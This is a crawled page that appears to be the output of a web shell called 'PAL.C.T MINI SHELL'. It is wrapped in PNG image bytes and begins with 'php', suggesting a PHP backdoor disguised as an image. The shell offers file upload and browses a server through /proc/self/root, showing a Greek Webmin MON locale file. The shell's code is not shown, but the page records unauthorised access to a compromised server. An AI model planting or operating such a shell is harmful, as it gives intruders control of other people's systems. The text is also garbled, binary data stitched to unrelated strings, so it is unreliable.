php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/libexec/webmin/mon/lang/
upload
files >> //proc/self/root/usr/libexec/webmin/mon/lang/el.auto

index_title=MON Service Monitor
index_return=Δείκτης MON
index_edir=Ο κατάλογος MON $1 δεν υπάρχει. Ίσως το MON δεν είναι εγκατεστημένο, ή η διαμόρφωση της μονάδας σας <a href='$2'></a> είναι εσφαλμένη.
mon_global_title=Διαμόρφωση γενικών διαφόρων παραμέτρων
mon_conf_title=Βασική διαμόρφωση
mon_status_title=Κατάσταση λειτουργίας
hostgroups_title=Διαμόρφωση MON-Hostgroups
services_title=Ορισμοί υπηρεσίας ομάδων παρακολούθησης

head_hostgroups=Ομάδες υποδοχής και υπηρεσίες
head_groups=Όνομα ομάδας υποδοχής
head_members=Μέλη υποδοχής
head_services=Υπηρεσίες Hostgroup για παρακολούθηση
head_service=Υπηρεσία για παρακολούθηση
head_param=Παράμετροι υπηρεσίας
head_watch=Παρακολουθήστε την Ομάδα;
head_monauth=Παρέχετε έλεγχο ταυτότητας για MONCMD
head_usr=Όνομα χρήστη
head_pass=Κωδικός πρόσβασης
head_mand=(Οι παράμετροι στο "RED COLOR" είναι υποχρεωτικές)

err_nomon=το πακέτο 'mon' δεν είναι εγκατεστημένο στο σύστημα
err_nomonconf=Το αρχείο ρύθμισης MON $1 δεν βρέθηκε στο σύστημά σας. Ίσως το MON δεν είναι εγκατεστημένο, ή η διαμόρφωση της μονάδας σας <a href='$2'></a> είναι εσφαλμένη.
err_nowatch=Δεν έχουν επιλεγεί ομάδες παρακολούθησης. Επιλέξτε τουλάχιστον μία ομάδα παρακολούθησης για να συνεχίσετε.
err_noserv=Δεν έχουν επιλεγεί υπηρεσίες για την ομάδα παρακολούθησης
err_nomemb=Δεν έχουν οριστεί Hosts/Μέλη για την ομάδα παρακολούθησης
err_monrun=Το MON δεν τρέχει στο hostmachine. Ξεκινήστε τον MON.
stop_err=Δεν μπόρεσε να σταματήσει η MON
stop_epid=Δεν λειτουργεί πλέον
start_err=Αποτυχία εκκίνησης του MON
restart_err=Αποτυχία επανεκκίνησης του MON
restart_epid=Αποτυχία λήψης του PID

other=Άλλο (χώρος χωριστός)
next=Επόμενο
mon_stat=MON Status
mon_off=Υπηρεσίες MON δεν έχουν ξεκινήσει
mon_start=Ξεκινήστε τις υπηρεσίες MON
mon_stop=Σταματήστε Υπηρεσίες MON
mon_restart=Επανεκκινήστε τις Υπηρεσίες MON
mon_startdesc=Κάντε κλικ σε αυτό το κουμπί για να ξεκινήσετε τον διακομιστή MON. Μέχρι να ξεκινήσει, δεν θα γίνει καμία παραμετροποιημένη παρακολούθηση.
mon_stopdesc=Κάντε κλικ σε αυτό το κουμπί για να σταματήσετε τον διακομιστή MON. Κατά τη διακοπή, η ρυθμισμένη παρακολούθηση θα σταματήσει.
mon_restartdesc=Κάντε κλικ σε αυτό το κουμπί για να εφαρμόσετε την τρέχουσα διαμόρφωση MON, επανεκκινώντας τη διαδικασία του διακομιστή.
line=(ένα σε κάθε γραμμή)
save_apply=Αποθήκευση και Εφαρμογή
watch=Ομάδα παρακολούθησης
members=Μέλη
def_perargs=wd {Σάβ-Κυρ}

def_desc=περιγραφή
def_inter=διάστημα
def_mon=οθόνη
def_dep=dpend
def_per=περίοδος
def_alert=συναγερμός
def_alertevr=Ειδοποίηση
def_alertaft=ειδοποιείστε
def_alertstr=startupalert
def_allow=allow_empty_group
def_traptime=traptimeout
def_trapdur=παγίδευση
def_rand=randskew
def_exclhost=exclude_hosts
def_exclper=exclude_period

groups_title=Ομάδες υποδοχής
groups_group=Ονομα ομάδας
groups_members=Μέλη υποδοχής

watches_title=Παρακολουθήστε λίστες
watches_group=Παρακολούθηση ομάδας
watches_services=Παρακολούθηση υπηρεσιών
watches_sadd=Προσθήκη υπηρεσίας ..
watches_add=Προσθήκη λίστας παρακολούθησης για ομάδα :
watches_return=λίστες παρακολούθησης
watches_none=Δεν έχουν οριστεί ακόμη λίστες παρακολούθησης.

global_title=Γενικές επιλογές
global_header=Παγκόσμια επιλογές διαμόρφωσης MON
global_maxprocs=Μέγιστες διαδικασίες MON
global_histlength=Μήκος ιστορικού συμβάντος
global_alertdir=Κατάλογος προγραμμάτων ειδοποιήσεων
global_mondir=Παρακολουθήστε τον κατάλογο προγραμμάτων
global_authtype=Τύπος ελέγχου ταυτότητας
global_authtype_=Προκαθορισμένο
global_authtype_getpwnam=Τηλεφωνικές κλήσεις
global_authtype_userfile=Χρήστες του αρχείου MON
global_authtype_shadow=Αρχείο σκίασης
global_userfile=MON του χρήστη
global_emaxprocs=Λείπει ή μη έγκυρος αριθμός διαδικασιών MON
global_ehistlength=Μήκος ιστορικού συμβάντος που λείπει ή είναι άκυρο
global_ealertdir=Έλλειψη ή μη έγκυρος κατάλογος προγραμμάτων ειδοποιήσεων
global_emondir=Έλλειψη ή μη έγκυρος κατάλογος προγραμμάτων παρακολούθησης
global_euserfile=Λείπει το αρχείο χρηστών MON

watch_title=Επεξεργασία λίστας παρακολούθησης
watch_header=Λεπτομέρειες παρακολούθησης της ομάδας υποδοχής
watch_group=Ομάδα υποδοχής για παρακολούθηση
watch_services=Παρακολούθηση υπηρεσιών
watch_service=Ονομα Υπηρεσίας
watch_monitor=Παρακολούθηση για χρήση
watch_interval=Ελέγξτε κάθε
watch_periods=Περίοδοι παρακολούθησης

service_title=Προσθήκη υπηρεσίας
service_title2=Επεξεργασία υπηρεσίας
service_header=Παρακολούθησαν λεπτομέρειες υπηρεσίας
service_name=Όνομα υπηρεσίας
service_interval=Ελέγξτε κάθε
service_desc=Περιγραφή
service_units_s=δευτερολέπτων
service_units_m=λεπτά
service_units_h=ώρες
service_units_d=ημέρες
service_units_w=εβδομάδες
service_monitor=Χρησιμοποιώντας οθόνη
service_mon1=Τυπική οθόνη
service_mon0=Άλλες οθόνες ..
service_args=Παρακολούθηση παραμέτρων
service_period=Περίοδος παρακολούθησης $1 
service_days=Ημέρες για έλεγχο
service_hours=Ώρες για έλεγχο
service_all=Ολα
service_pstr=Προδιαγραφές περιόδου
service_new=Νέα περίοδος παρακολούθησης
service_alerts=Ειδοποιήσεις για περίοδο
service_alert=Συναγερμός
service_atype=Εκτέλεση όταν
service_atype_alert=Η υπηρεσία σβήνει
service_atype_upalert=Οι υπηρεσίες εμφανίζονται
service_atype_startupalert=Το MON ξεκινά
service_aargs=Πρόσθετες παράμετροι
service_every=Αποστολή ειδοποίησης
service_every_def=Κάθε φορά που τρέχει η οθόνη
service_every_time=Κάθε
service_num=Μέγιστες ειδοποιήσεις για αποστολή
service_unlimited=Απεριόριστος
service_after=Αποτυχίες πριν από την προειδοποίηση
service_immediate=Αμέσως
service_after_num=Μετά από $1 αποτυχίες
service_aftertime=Εντός χρονικού διαστήματος
service_newperiod=Προσθέστε μια νέα περίοδο
service_delperiod=Διαγράψτε αυτήν την περίοδο
service_err=Αποτυχία αποθήκευσης υπηρεσίας
service_ename=Λείπει ή μη έγκυρο όνομα υπηρεσίας
service_einterval=Έλλειψη ή μη έγκυρο διάστημα ελέγχου
service_eother=Έλλειψη ή μη έγκυρη οθόνη
service_ehour=Λείπει ή μη έγκυρη ώρα για την περίοδο $1 (πρέπει να είναι 9 π.μ. ή 5μμ)
service_eperiod=Δεν έχουν οριστεί ημέρες ή ώρες για την περίοδο $1 
service_eevery=Έλλειψη ή μη έγκυρο διάστημα ειδοποίησης υπηρεσίας
service_eafter=Έλλειψη ή μη έγκυρος αριθμός αποτυχιών πριν από την ειδοποίηση
service_enum=Λανθασμένες ή μη έγκυρες μέγιστες ειδοποιήσεις προς αποστολή
service_epstr=Λείπει προδιαγραφή περιόδου
service_known0=<tt>Χρονική περίοδος</tt>
service_known1=Ορισμένες ημέρες και ώρες
service_known2=Ορισμένη περίοδος

status_title=MON Status
status_ecgi=Το πρόγραμμα CGI κατάστασης MON $1 δεν υπάρχει. Ίσως να μην έχει εγκατασταθεί ή η διαμόρφωση της μονάδας σας <a href='$2'></a> είναι εσφαλμένη.
status_eperl=Το πρόγραμμα CGI κατάστασης MON απαιτεί την υπομονάδα $1 perl. <a href='$2'>Πατήστε εδώ</a> για να το εγκαταστήσετε απευθείας από το CPAN.
status_esame=Το πρόγραμμα CGI κατάστασης MON $1 έχει οριστεί στο σενάριο <tt>mon.cgi</tt> σε αυτήν την ενότητα Webmin, όχι στο πρόγραμμα CGI που συνοδεύει το MON. Ρυθμίστε τη διαμόρφωση μονάδας <a href='$2'></a> για να χρησιμοποιήσετε τη σωστή διαδρομή.

users_title=Χρήστες MON
users_etype=Δεν είναι δυνατή η επεξεργασία της λίστας χρηστών MON επειδή η MON δεν έχει ρυθμιστεί ώστε να τη χρησιμοποιεί για έλεγχο ταυτότητας στη σελίδα <a href='$1'>Global Options</a>.
users_header=Επιτρέπονται χρήστες MON στο $1 
users_nousers=Δεν έχουν οριστεί χρήστες MON σε $1.
users_add=Δημιουργήστε έναν νέο χρήστη.
users_return=Λίστα χρηστών MON

user_create=Δημιουργία χρήστη MON
user_edit=Επεξεργασία χρήστη MON
user_header=Λεπτομέρειες χρήστη MON
user_user=Όνομα χρήστη
user_pass=Κωδικός πρόσβασης
user_leave=Αφήστε αμετάβλητη
user_err=Αποτυχία αποθήκευσης χρήστη
user_euser=Λείπει ή μη έγκυρο όνομα χρήστη
user_esame=Ένας χρήστης με το ίδιο όνομα υπάρχει ήδη

auth_title=Εντολές πελάτη
auth_desc=Αυτή η σελίδα σάς επιτρέπει να ελέγχετε ποιες εντολές MON μπορούν να εκτελεστούν από τους χρήστες κατά τη χρήση των προγραμμάτων-πελατών.
auth_cmd=MON εντολή
auth_users=Επιτρέπονται χρήστες
auth_none=Κανείς
auth_all=Ολοι
auth_sel=Μόνο χρήστες
auth_err=Αποτυχία αποθήκευσης εντολών πελάτη
auth_eusers=Δεν εισέρχονται χρήστες για εντολή $1 

periods_title=Ορισμένες περίοδοι
periods_period=Όνομα περιόδου
periods_times=Ημέρες και ώρες
periods_alldays=Ολες τις ΗΜΕΡΕΣ
periods_allhours=Όλες οι ώρες
periods_err=Αποτυχία αποθήκευσης καθορισμένων περιόδων
periods_ename=Το '$1' δεν είναι έγκυρο όνομα περιόδου
periods_ehour=Λείπει ή μη έγκυρη ώρα για την περίοδο $1 (πρέπει να είναι 9 π.μ. ή 5μμ)

show_title=Κατάσταση λειτουργίας
show_ecgi=Το πρόγραμμα κατάστασης MON $1 δεν υπάρχει. Ίσως να μην έχει εγκατασταθεί ή η διαμόρφωση της μονάδας σας <a href='$2'></a> είναι εσφαλμένη.
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`